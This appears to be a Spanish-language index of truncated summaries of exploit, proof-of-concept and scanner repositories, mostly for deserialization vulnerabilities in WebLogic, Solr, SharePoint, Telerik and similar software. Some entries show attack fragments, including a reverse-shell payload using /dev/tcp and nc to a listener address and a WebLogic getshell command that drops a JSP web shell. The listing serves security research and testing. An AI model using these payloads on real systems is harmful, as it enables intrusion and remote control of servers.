CVE-2020-6364

CVE-2020-6364 Ejecución remota de código en CA APM Team Center Wily Introscope. Aviso original Una vulnerabilidad de deserialización en CA APM Team Center permite la ejecución remota de código sin autenticación en el servidor. Al autenticarse en el servidor, se devuelve una cookie que comienza co...

CVE-2019-0192

CVE-2019-0192 - Apache Solr RCE 5.0.0 a 5.5.5 y 6.0.0 a 6.6.5 Este es una PoC temprana de la RCE de Apache Solr De https://issues.apache.org/jira/browse/SOLR-13301: ConfigAPI permite configurar el servidor JMX de Solr mediante una solicitud HTTP POST. Al apuntarlo a un servidor RMI malicioso, un...

CVE-2020-8165

Exploit en Python para CVE-2020-8165 Este es un código para explotar CVE-2020-8165 usando Python3. Este exploit funciona con rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Créditos principales Detalles originales del CV...

CVE-2025-53772

CVE-2025-53772 - Exploit de RCE en Microsoft Web Deploy Un exploit basado en Python para CVE-2025-53772, una vulnerabilidad de ejecución remota de código en Microsoft Web Deploy msdeploy causada por una deserialización insegura de datos de cabeceras HTTP. 🎬 Vídeo de la POC Resumen de la...

CVE-2026-40859

camel-netty-http / camel-vertx-http Reproducción de deserialización insegura de respuestas HTTP CVE-2026-40859 Este proyecto demuestra una vulnerabilidad de deserialización de Java en los componentes camel-netty-http y camel-vertx-http de Apache Camel, registrada como CVE-2026-40859. Cuando un...

-CVE-2017-10271-

-CVE-2017-10271- CVE-2017-10271Vulnerabilidad de deserialización de Java Herramienta de explotación de vulnerabilidad de deserialización de Java V1.0 Herramienta de verificación de vulnerabilidades relacionadas con la deserialización de Java, desarrollada con la versión JDK 1.8; el software...

CVE-2019-2890

CVE-2019-2890 Vulnerabilidad de RCE por deserialización en WebLogic 0x01 Descargar SerializedSystemIni.dat /root/Oracle/Middleware/userprojects/domains/basedomain/security root@159475444bab:/Oracle/Middleware/userprojects/domains/basedomain/security md5sum SerializedSystemIni.dat...

CVE-2018-2628

CVE-2018-2628 Reproducción de la vulnerabilidad de deserialización de WebLogic weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | ...

Payload-and-Polyglot-Lists

Listas de Payloads y Políglotas ¿Encontraste un payload que no funciona? Por favor abre un issue con el payload, el contexto objetivo y lo que esperabas que sucediera. Las solicitudes de extracción con correcciones o nuevos payloads siempre son bienvenidas. La investigación está en curso. Este...

CVE-2026-50522

CVE-2026-50522 PoC: RCE por Deserialización de SharePoint Ejecución remota de código no autenticada en SharePoint Server mediante deserialización de la cookie SecurityContextToken Exploit de escaneo masivo para CVE-2026-50522 dirigido a Microsoft SharePoint Server local on-premises. Abusa de la...

CVE-2025-10035

Escáner CVE-2025-10035 Resumen Este proyecto proporciona una herramienta para escanear sistemas potencialmente afectados por CVE-2025-10035 , una vulnerabilidad de deserialización en el Servlet de Licencia de Fortra's GoAnywhere MFT. La vulnerabilidad podría permitir a un atacante con una firma d...

CVE-2025-55182

React2Shell PoC Este repositorio proporciona un entorno mínimo e intencionalmente vulnerable para probar escáneres de seguridad contra la reciente vulnerabilidad crítica de ejecución remota de código React2Shell que afecta a React Server Components y Next.js. CVE-2025-55182 : Existe una...

CVE-2025-53690

CVE-2025-53690 Vulnerabilidad de deserialización de datos no confiables en Sitecore Experience Manager XM y Sitecore Experience Platform XP que permite inyección de código. Esta vulnerabilidad afecta a Experience Manager XM: hasta la versión 9.0; Experience Platform XP: hasta la versión 9.0. ¿Cóm...

Apache-OFBiz-Authentication-Bypass

Vulnerabilidad de Bypass de Autenticación en Apache OFBiz CVE-2023-51467 y CVE-2023-49070 Este script de exploit y PoC están escritos para un análisis detallado de CVE en vsociety. El sistema de planificación de recursos empresariales ERP Apache OFBiz, un marco web versátil basado en Java...

CVE-2024-44902

CVE-2024-44902 Descripción de la vulnerabilidad Una vulnerabilidad de deserialización en Thinkphp v6.1.3 a v8.0.4 permite a atacantes ejecutar código arbitrario. Versiones afectadas Thinkphp v6.1.3 a v8.0.4 Condición de explotación El framework thinkphp debe tener instalada la extensión Memcached...

CVE-2024-4358

CVE-2024-4358 / CVE-2024-1800 Cadena de explotación de deserialización y omisión de autenticación en Telerik Report Server para CVE-2024-4358/CVE-2024-1800 Análisis técnico Un análisis de causa raíz de la vulnerabilidad se encuentra en mi blog poc Resumen ¿Versiones compatibles? Básicamente todas...

QLinspector

QLinspector Encontrando cadenas gadget de Java/C con CodeQL. Más información en nuestro artículo Instalación Clona el repositorio $ git clone https://github.com/synacktiv/QLinspector.git Buscar gadgets: $ codeql database analyze log4j --format=sarif-latest --output=log4j.sarif...

Telerik_CVE-2019-18935

Escáner Python de TelerikUI telerikrcescan.py Ejemplos Evaluar una IP para CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Evaluar un nombre de equipo para CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Evaluar un rango de red CIDR para CVE-2019-18935 $ python3...

CVE-2025-59287

En este estudio, examinaremos una vulnerabilidad crítica CVE-2025-59287 descubierta en el entorno de Microsoft Windows Server Update Services WSUS. Esta vulnerabilidad surge de la deserialización insegura de objetos AuthorizationCookie enviados al endpoint GetCookie, donde los datos cifrados de l...

CVE-2015-5377

CVE-2015-5377 Elasticsearch 1.5.2 es vulnerable a RCE a través de deserialización insegura de Java. El exploit ataca el protocolo de transporte en el puerto 9300. La deserialización se basa en una cadena Groovy MethodClosure para lograr RCE...